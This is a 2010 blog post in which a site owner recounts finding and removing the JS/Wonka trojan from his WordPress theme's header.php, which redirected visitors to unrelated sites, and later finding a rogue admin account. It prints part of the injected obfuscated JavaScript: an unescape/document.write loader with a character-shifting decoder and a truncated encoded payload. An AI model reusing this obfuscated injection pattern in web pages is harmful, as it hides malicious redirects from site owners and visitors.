I’m still not sure how it happened, but somehow my blog was infected with the JS/Wonka trojan at some point in the last few weeks.
I knew something was amiss when I tried to reach michaelzanussi.com from the office and was immediately redirected to the company’s “This Website has been Blocked” page. The vague reason given was for “malicious code”. Shocking to see that, to say the least.
Back at home, things looked okay for a few seconds until I noticed being redirected to some random sites (superpages.com, primosearch.com, blueseek.com, hellometro.com, etc., and a few dreaded IPs that who knows housed what nefarious things.) I encountered the same behavior with Chrome and Firefox, but not with Safari. When I tried in IE on my wife’s Window’s netbook, McAfee actually identified the trojan and removed it prior to rendering.
With that info in hand and a few minutes research, I found the problem in the WordPress theme file header.php. Someone/thing had inserted some malicious JavaScript. I won’t repeat the whole string here, it came in at 1989 bytes, but it was pretty obvious this was alien code that did not belong:
<script language=javascript>document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75%6E%63%74%69%6F%6E%20%64%46%28%73%29%7B%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%73%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C%65%6E%67%74%68%2D%31%29%29%3B%20%76%61%72%20%74%3D%27%27%3B%66%6F%72%28%69%3D%30%3B%69%3C%73%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%2D%73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%29%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%7D%3C%2F%73%63%72%69%70%74%3E'));dF('%264Dtdsjqu%264Fepdvnfou/xsjuf%2639%2633%264Doepx
…snip…
/mpdbujpo%264Ei%264C%261B%268E%261B%264D0tdsjqu%264F1')</script>
It was a simple matter of deleting the offending code, and now, it appears, the problem is resolved.
2/25/2010 Update: As of last night, I’d been running WordPress 2.7.1 for quite some time and I’m starting to wonder if there is a way to exploit earlier WP versions that would allow anyone to create users with Admin privileges. After deleting a bunch of users last night, I noticed a new user setup as an Admin tonight. I’ve since upgraded to 2.9.2, we’ll see if it has any affect.
I also wrote a quick Java app to decode the obfuscated JavaScript that was injected, and it looks like the redirects have been routing through itsallbreaksoft.net and then redirecting elsewhere. It didn’t take long to find a lot of recent blog activity related to this exploit, and at this time doesn’t seem to make much sense to post a code analysis here, you can read a good summary at TechnoSocial.